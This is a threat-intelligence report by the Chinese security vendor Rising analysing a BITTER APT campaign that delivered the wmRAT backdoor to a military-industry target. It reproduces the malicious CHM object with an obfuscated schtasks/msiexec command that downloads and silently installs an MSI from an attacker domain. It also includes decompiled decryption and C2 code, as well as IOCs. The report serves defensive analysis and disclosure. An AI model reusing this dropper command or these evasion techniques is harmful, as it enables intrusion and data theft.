2023年12月：蔓灵花组织针对中国军工企业的攻击事件分析报告

概述

  瑞星于2023年12月20日接到国内某敏感单位反馈称设备上扫描到间谍软件，经专家分析相关文件为wmRAT后门，该后门由国外一个名为蔓灵花的攻击组织制作，即相关单位遭遇了APT攻击。蔓灵花组织，又称为BITTER，是一支据称有南亚背景的APT组织，疑似来自印度。至少自2013年起就开始对目标发动网络攻击，攻击目标包含中国、巴基斯坦等国家，涉及行业有政府、军事、能源等，其意图是窃取敏感资料

ATT&CK技术矩阵

事件详情

  我们除了获得最终投放的MSI安装包之外，在相关设备上仅排查到了攻击流程里创建的计划任务。但我们通过其他途径获得了创建该计划任务的CHM文件。根据蔓灵花组织过往的攻击手法推断，CHM文件即为攻击者投放的初始样本。蔓灵花组织以鱼叉式钓鱼邮件投递恶意压缩包，压缩包里面通常为恶意CHM文件（利用点击劫持），有时也会在压缩包里面搭载利用公式编辑器漏洞的Office文档。恶意文件被执行时，将会向系统内添加计划任务。创建的计划任务通常每隔15到20分钟请求一次C2，下载后续载荷，在请求时通常会带上计算机名和用户名，这会在后台为受害者建立起一个文件夹，后续通过FTP的方式向指定受害者目录下上传MSI文件。MSI文件被执行后将会向电脑内植入最终的wmRAT后门，攻击者也有可能借此投放其他恶意程序。

攻击过程

样本分析

初始CHM文件分析

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=",schtasks, /create /sc minute /mo 18 /tn Edgeupdates /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i  h^tt^p://m^i^ke^yo^ur^ev^e^nt^s.c^om/CP/tre.p^h^p?p^i=%username%*%computername% /^q^n ^/^norestart" /f">
 <PARAM name="Item3" value="273,1,1">
</OBJECT>

CHM文件双击运行后将会由系统的hh.exe解析并渲染内部的doc.htm文件，内部利用了点击劫持的手法，在脚本部分调用了id为x的对象的点击事件，这将导致HTML页面展示时Item1内保存的内容被视为系统命令并执行

执行时将会调用schtasks创建一个名为Edgeupdates的计划任务，每18分钟运行一次。计划任务运行时将执行%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://m^i^ke^yo^ur^ev^e^nt^s.c^om/CP/tre.p^h^p?p^i=%username%*%computername% /^q^n ^/^norestart命令，即调用msiexec从hxxp://mikeyourevents.com/CP/tre.php?pi=%username%*%computername%拉取MSI安装包静默安装且不重启系统

MSI安装包分析

该MSI安装包由攻击者主动投放，使用Advanced Installer制作，其CustomAction节内定义了一个名为_1972055E_B378_45DC_AB78_0802F1CB307A的自定义动作，该动作将执行安装包内名为_5597A4D910F27F8A0ABA6AEA47D72F42的文件，这个文件正是攻击者最终要投放的wmRAT后门

而这个自定义动作将在安装的最后阶段被执行

wmRAT分析

蔓灵花组织的wmRAT于2022年被首次披露，披露时远控指令只有16个，并且有一半的指令无实际功能，这表明蔓灵花组织正在积极开发该后门程序

wmRAT利用C++的全局变量初始化机制，巧妙的将字符串的解密函数插入到运行时mainCRTStartup中initterm所在的函数指针表下。这样防止了恶意样本在被静态分析时直接获得明文字符串，规避静态查杀。另外在主体代码中，加入了大量Sleep函数以规避沙箱行为检测。

push    offset dword_D5D3EC ; Last
push    offset dword_D5D350 ; First
call    _initterm

用于解密字符串的函数如下，通过ADD和SUB运算的方式对字符串进行解密。

v8 = v7;
v9 = 0;
v15 = v7;
v10 = a6;
v11 = a6;
if ( a6 > 0 )
{
while ( 1 )
{
    if ( v9 > v10 )
    {
    invalid_parameter_noinfo();
    v10 = a6;
    }
    v12 = a2;
    if ( a7 < 0x10 )
    v12 = &a2;
    if ( v9 > v10 )
    invalid_parameter_noinfo();
    v13 = a2;
    if ( a7 < 0x10 )
    v13 = &a2;
    *(v13 + v9) = *(v12 + v9) - 0x3E;
    if ( ++v9 >= v11 )
    break;
    v10 = a6;
}
v8 = v15;
}
std::string::string(v8, &a1);
std::string::~string(&a1);
return v8;

初始全局变量在被解密后得到域名dtzappaccount[.]com，域名通过以下函数被转换为IP地址与控制端建立连接。

WSAStartup(2u, &WSAData);
pHints.ai_flags = 0;
memset(&pHints.ai_addrlen, 0, 16);
pHints.ai_family = 0;
v0 = pNodeName;
ppResult = 0;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
if ( dword_D63F5C < 0x10 )
v0 = &pNodeName;
if ( !getaddrinfo(v0, 0, &pHints, &ppResult) )
{
v1 = ppResult;
if ( ppResult )
{
    do
    {
    v2 = inet_ntoa(*&v1->ai_addr->sa_data[2]);
    strcpy_s(g_getaddr, 0x104u, v2);
    v1 = v1->ai_next;
    }
    while ( v1 );
    v1 = ppResult;
}
freeaddrinfo(v1);
}

访问hxxps://ipapi.co/查询主机IP信息，通过调用系统函数，获得当前计算机基本信息并在初始连接时发送到控制端

例如：123-PC|| Administrator|| Windows 7 Ultimate||C:\Users\Administrator\Desktop\vmncros.exe||

本样本中wmRAT的指令与功能展示如下：

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征，针对的目标都是具有重大信息资产，如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等，国内相关政府机构和企业单位务必要引起重视，加强防御措施。

预防措施

1. 不打开可疑文件。

   不打开未知来源的可疑的文件和邮件，防止社会工程学和钓鱼攻击。

2. 部署网络安全态势感知、预警系统等网关安全产品。

   网关安全产品可利用威胁情报追溯威胁行为轨迹，帮助用户进行威胁行为分析、定位威胁源和目的，追溯攻击的手段和路径，从源头解决网络威胁，最大范围内发现被攻击的节点，帮助企业更快响应和处理。

3. 安装有效的杀毒软件，拦截查杀恶意文档和木马病毒。

   杀毒软件可拦截恶意文档和木马病毒，如果用户不小心下载了恶意文件，杀毒软件可拦截查杀，阻止病毒运行，保护用户的终端安全。

   瑞星ESM目前已经可以检出此次攻击事件的相关样本

4. 及时修补系统补丁和重要软件的补丁。

沦陷信标（IOC）

• MD5

  0D8E8E4DBCD6AE44B8BFF551C97D81C4
  D74C13DB24E632310E27A2937F26059F
  DA1DFCAFC961ABBD4E6D6FA22C02CE16

• DOMAIN

  mikeyourevents.com
  dtzappaccount.com

• URL

  hxxp://mikeyourevents.com/CP/tre.php?pi=%username%*%computername%

• IPV4

  45.66.248.66

• 瑞星病毒名

  Backdoor.[Bitter]wmRAT!1.F137

参考链接

• https://www.secrss.com/articles/56424
• https://www.secrss.com/articles/57351